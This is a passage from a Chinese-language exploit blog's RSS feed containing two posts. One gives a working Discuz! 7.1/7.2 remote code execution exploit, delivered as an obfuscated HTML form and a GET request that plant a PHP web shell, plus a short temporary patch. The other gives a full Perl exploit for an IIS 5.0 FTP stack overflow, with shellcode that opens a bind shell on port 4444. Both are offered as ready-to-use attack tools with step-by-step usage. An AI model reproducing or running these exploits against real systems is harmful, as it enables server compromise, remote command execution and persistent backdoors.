		<comments>http://www.4shell.org/archives/1464.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 08:49:19 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1464.html</guid>
		<description><![CDATA[1.注册一个新用户 2.Exp代码如下： &#60;form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&#62; 帖子ID，指定一个存在的帖子即可：&#60;input type="text" name="tid" value="1" /&#62; &#60;input type="hidden" name="action" value="imme_binding" /&#62; &#60;input type="hidden" name="response[result]" value="1:2" /&#62; &#60;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40). chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39). chr(102).chr(111).chr(114).chr(117).chr(109).chr(100). chr(97).chr(116).chr(97).chr(47).chr(99).chr(97). chr(99).chr(104).chr(101).chr(47).chr(117). chr(115).chr(101).chr(114).chr(103).chr(114). chr(111).chr(117).chr(112).chr(95).chr(48). chr(49).chr(46).chr(112).chr(104).chr(112).chr(39). chr(44).chr(39).chr(119).chr(39).chr(41).chr(44). chr(39).chr(60).chr(63).chr(112).chr(104).chr(112). chr(32).chr(101).chr(118).chr(97).chr(108).chr(40). chr(36).chr(95).chr(80).chr(79).chr(83).chr(84). chr(91).chr(99).chr(109).chr(100).chr(93). chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&#62; &#60;input type="submit" name="topicsubmit" value="提交" class="submit" /&#62; &#60;/form&#62; chr解码后是： value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&#60;?php eval($_POST[cmd])?&#62;'); 保存html 打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd 第二种方法： 直接GET，利用语句： misc.php?action=imme_binding&#38;response[result]=aa:b&#38;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w), [...]]]></description>
			<content:encoded><![CDATA[<p>1.注册一个新用户<br />
2.Exp代码如下：</p>
<blockquote><p>&lt;form method="post" action="   http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&gt;</p>
<p>帖子ID，指定一个存在的帖子即可：&lt;input type="text" name="tid" value="1" /&gt;</p>
<p>&lt;input type="hidden" name="action" value="imme_binding" /&gt;</p>
<p>&lt;input type="hidden" name="response[result]" value="1:2" /&gt;</p>
<p>&lt;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).</p>
<p>chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).</p>
<p>chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).</p>
<p>chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).</p>
<p>chr(99).chr(104).chr(101).chr(47).chr(117).</p>
<p>chr(115).chr(101).chr(114).chr(103).chr(114).</p>
<p>chr(111).chr(117).chr(112).chr(95).chr(48).</p>
<p>chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).</p>
<p>chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).</p>
<p>chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).</p>
<p>chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).</p>
<p>chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).</p>
<p>chr(91).chr(99).chr(109).chr(100).chr(93).</p>
<p>chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&gt;</p>
<p>&lt;input type="submit" name="topicsubmit" value="提交" class="submit" /&gt;</p>
<p>&lt;/form&gt;</p></blockquote>
<p>chr解码后是：</p>
<blockquote><p>value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&lt;?php eval($_POST[cmd])?&gt;');</p></blockquote>
<p>保存html</p>
<p>打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd</p>
<p>第二种方法：</p>
<p>直接GET，利用语句：</p>
<blockquote><p>misc.php?action=imme_binding&amp;response[result]=aa:b&amp;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),</p>
<p>base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}</p></blockquote>
<p>在根目录生成C.PHP密码是C</p>
<p>临时修补方法：</p>
<p>在common.inc.php上面加上</p>
<blockquote><p>$response=$scriptlang=array();</p></blockquote>
<p>官方发布修补补丁：</p>
<p>http://www.discuz.net/thread-1537673-1-1.html</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</title>
		<link>http://www.4shell.org/archives/1103.html</link>
		<comments>http://www.4shell.org/archives/1103.html#comments</comments>
		<pubDate>Sun, 20 Sep 2009 13:29:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[IIS]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1103.html</guid>
		<description><![CDATA[绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。 #!/usr/bin/perl # IIS 5.0 FTP Server / Remote SYSTEM exploit # Win2k SP4 targets # bug found &#038; exploited by Kingcope, kcope2googlemail.com # Affects IIS6 with stack cookie protection # Modded by muts, additional egghunter added for secondary larger payload # Might take a minute or two for the [...]]]></description>
			<content:encoded><![CDATA[<p>绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。</p>
<p><span id="more-1103"></span></p>
<blockquote><p>
#!/usr/bin/perl<br />
# IIS 5.0 FTP Server / Remote SYSTEM exploit<br />
# Win2k SP4 targets<br />
# bug found &#038; exploited by Kingcope, kcope2<at>googlemail.com<br />
# Affects IIS6 with stack cookie protection<br />
# Modded by muts, additional egghunter added for secondary larger payload<br />
# Might take a minute or two for the egg to be found.<br />
# Opens bind shell on port 4444</p>
<p># http://www.offensive-security.com/0day/msftp.pl.txt</p>
<p>use IO::Socket;<br />
$|=1;<br />
$sc = "\x89\xe2\xdd\xc5\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" .<br />
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" .<br />
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" .<br />
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" .<br />
"\x50\x38\x41\x43\x4a\x4a\x49\x45\x36\x4d\x51\x48\x4a\x4b\x4f" .<br />
"\x44\x4f\x47\x32\x46\x32\x42\x4a\x43\x32\x46\x38\x48\x4d\x46" .<br />
"\x4e\x47\x4c\x45\x55\x51\x4a\x44\x34\x4a\x4f\x48\x38\x46\x34" .<br />
"\x50\x30\x46\x50\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x44\x35\x4a" .<br />
"\x4a\x4e\x4f\x43\x45\x4b\x57\x4b\x4f\x4d\x37\x41\x41";<br />
# ./msfpayload windows/shell_bind_tcp R |  ./msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"</p>
<p>$shell="T00WT00W" ."\xda\xde\xbd\x2d\xe7\x9b\x9f\x2b\xc9\xb1\x56\xd9\x74\x24\xf4" .<br />
"\x5a\x83\xea\xfc\x31\x6a\x15\x03\x6a\x15\xcf\x12\x67\x77\x86" .<br />
"\xdd\x98\x88\xf8\x54\x7d\xb9\x2a\x02\xf5\xe8\xfa\x40\x5b\x01" .<br />
"\x71\x04\x48\x92\xf7\x81\x7f\x13\xbd\xf7\x4e\xa4\x70\x38\x1c" .<br />
"\x66\x13\xc4\x5f\xbb\xf3\xf5\xaf\xce\xf2\x32\xcd\x21\xa6\xeb" .<br />
"\x99\x90\x56\x9f\xdc\x28\x57\x4f\x6b\x10\x2f\xea\xac\xe5\x85" .<br />
"\xf5\xfc\x56\x92\xbe\xe4\xdd\xfc\x1e\x14\x31\x1f\x62\x5f\x3e" .<br />
"\xeb\x10\x5e\x96\x22\xd8\x50\xd6\xe8\xe7\x5c\xdb\xf1\x20\x5a" .<br />
"\x04\x84\x5a\x98\xb9\x9e\x98\xe2\x65\x2b\x3d\x44\xed\x8b\xe5" .<br />
"\x74\x22\x4d\x6d\x7a\x8f\x1a\x29\x9f\x0e\xcf\x41\x9b\x9b\xee" .<br />
"\x85\x2d\xdf\xd4\x01\x75\xbb\x75\x13\xd3\x6a\x8a\x43\xbb\xd3" .<br />
"\x2e\x0f\x2e\x07\x48\x52\x27\xe4\x66\x6d\xb7\x62\xf1\x1e\x85" .<br />
"\x2d\xa9\x88\xa5\xa6\x77\x4e\xc9\x9c\xcf\xc0\x34\x1f\x2f\xc8" .<br />
"\xf2\x4b\x7f\x62\xd2\xf3\x14\x72\xdb\x21\xba\x22\x73\x9a\x7a" .<br />
"\x93\x33\x4a\x12\xf9\xbb\xb5\x02\x02\x16\xc0\x05\xcc\x42\x80" .<br />
"\xe1\x2d\x75\x36\xad\xb8\x93\x52\x5d\xed\x0c\xcb\x9f\xca\x84" .<br />
"\x6c\xe0\x38\xb9\x25\x76\x74\xd7\xf2\x79\x85\xfd\x50\xd6\x2d" .<br />
"\x96\x22\x34\xea\x87\x34\x11\x5a\xc1\x0c\xf1\x10\xbf\xdf\x60" .<br />
"\x24\xea\x88\x01\xb7\x71\x49\x4c\xa4\x2d\x1e\x19\x1a\x24\xca" .<br />
"\xb7\x05\x9e\xe9\x4a\xd3\xd9\xaa\x90\x20\xe7\x33\x55\x1c\xc3" .<br />
"\x23\xa3\x9d\x4f\x10\x7b\xc8\x19\xce\x3d\xa2\xeb\xb8\x97\x19" .<br />
"\xa2\x2c\x6e\x52\x75\x2b\x6f\xbf\x03\xd3\xc1\x16\x52\xeb\xed" .<br />
"\xfe\x52\x94\x10\x9f\x9d\x4f\x91\xbf\x7f\x5a\xef\x57\x26\x0f" .<br />
"\x52\x3a\xd9\xe5\x90\x43\x5a\x0c\x68\xb0\x42\x65\x6d\xfc\xc4" .<br />
"\x95\x1f\x6d\xa1\x99\x8c\x8e\xe0\x90";</p>
<p>print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";<br />
if ($#ARGV ne 1) {<br />
print "usage: iiz5.pl <target> <your local ip>\n";<br />
exit(0);<br />
}<br />
srand(time());<br />
$port = int(rand(31337-1022)) + 1025;<br />
$locip = $ARGV[1];<br />
$locip =~ s/\./,/gi;<br />
if (fork()) {<br />
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],<br />
                              PeerPort => '21',<br />
                              Proto    => 'tcp'); </p>
<p># 自行修改以下两个地址以增强通用性, 此俩地址在我机器上测试成功<br />
$patch = "\x7e\xd1\xf9\x7f";<br />
$retaddr = "\x9B\xB1\xF4\x77";</p>
<p># 你可以使用wordexp的这两个跳转地址<br />
#$patch = "\x90\x80\xb7\x6f";<br />
#$retaddr = "\xcd\x60\xb6\x6f";</p>
<p># 这里也修改了, 多加了两个"K", 因为$myfindsc中<br />
# 用了"repne scasd[edi]"指令来查找Shellcode, 多<br />
# 加两个"K"使其四字节对齐, 否则会找不到（通用性？）<br />
$v = "KKKSEXY" . $sc . "V" x (500-length($sc)-5); </p>
<p># 溢出时堆栈的基本状况<br />
#     |0          |104     | 108   |112       |164     |168    |172     |176<br />
#$c = "A" x 104 . $patch . $patch. "A" x 52 . $patch . "AAAA". $retaddr .$patch."Aa4Aa5Aa6Aa7Aa8Aa9Ab";</p>
<p>#<br />
#void myfindsc()<br />
#{<br />
#    __asm<br />
#    {<br />
#        int 3;<br />
#start:<br />
#        MOV EDX,ESP;<br />
#        FCMOVNBE ST,ST(2);<br />
#        _emit 0xd9;<br />
#        _emit 0x72;<br />
#        _emit 0xf4; FSTENV [edx-0Ch]<br />
#        POP EBP;<br />
#        PUSH EBP;<br />
#        POP EBX;<br />
#        PUSH 76h;<br />
#        POP EAX;<br />
#xorsc:<br />
#        XOR BYTE PTR DS:[EBX+28h],AL; patch "decode" 的0xff<br />
#findsc:<br />
#        MOV EAX,66666666h;<br />
#        SUB EAX,66566666h;<br />
#        PUSH EAX;<br />
#        POP EDI;<br />
#        PUSH 21212121h;<br />
#        POP ECX;<br />
#        MOV EAX,59584553h;<br />
#        REPNE SCAS DWORD PTR ES:[EDI];<br />
#decode:<br />
#        _emit 0x89;<br />
#        _emit 0xE7; JMP EDI<br />
#    }<br />
#}<br />
#<br />
#<br />
#void main()<br />
#{<br />
#    myfindsc();<br />
#}<br />
#</p>
<p># 修改用于定位Shellcode的代码, 由于该代码需要调<br />
# 用call或者jmp等指令以跳转到Shellcode的地方, 此<br />
# 类指令包含了0xff, 会被IIS过滤, 所以这里采用了自<br />
# 修改的形式将0xff patch掉. 本来想要alpha2加密,<br />
# 但是加密后内容太长.<br />
$myfindsc =<br />
"\x8b\xd4\xdb\xd2\xd9\x72\xf4\x5d\x55\x5b\x6a\x76\x58".<br />
"\x30\x43\x27\xb8\x66\x66\x66\x66\x2d\x66\x66\x5F\x66".<br />
"\x50\x5f\x68\x21\x21\x21\x21\x59\xb8\x53\x45\x58\x59".<br />
"\xf2\xaf\x89\xe7";</p>
<p>$c = $myfindsc . "A" x (104 - length($myfindsc)) .<br />
    $patch . $patch. "\xEB\x8E\x44\x44"."A" x 48 .<br />
#                     |< -- 第二次跳转: 到这里后最终跳到$myfindsc<br />
    $patch . "AAAA". $retaddr . $patch . "A" x 16 ."\xE2\xAA"."NN";<br />
#                                                  |<-- 第一次跳转: 函数返回以后经过跳转来到这里, 但是$myfindsc太远, 就又跳了一次</p>
<p>$x = <$sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x; </p>
<p>print $sock "USER anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "CWD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD CCCC". "$c\r\n"; # 这里也被修改了, 多加了个C, 用于4字节对齐<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
# TRIGGER<br />
print $sock "NLST $c*/../C*/\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
} else {<br />
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);<br />
die "Could not create socket: $!\n" unless $servsock;<br />
my $new_sock = $servsock->accept();<br />
while(< $new_sock>) {<br />
print $_;<br />
}<br />
close($servsock);<br />
}<br />
#Cheerio,<br />
#<br />
#Kingcope<br />
</your></target></at></p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1928.html" title="简单配置 IIS6 + FastCGI 高效运行PHP">简单配置 IIS6 + FastCGI 高效运行PHP</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1103.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

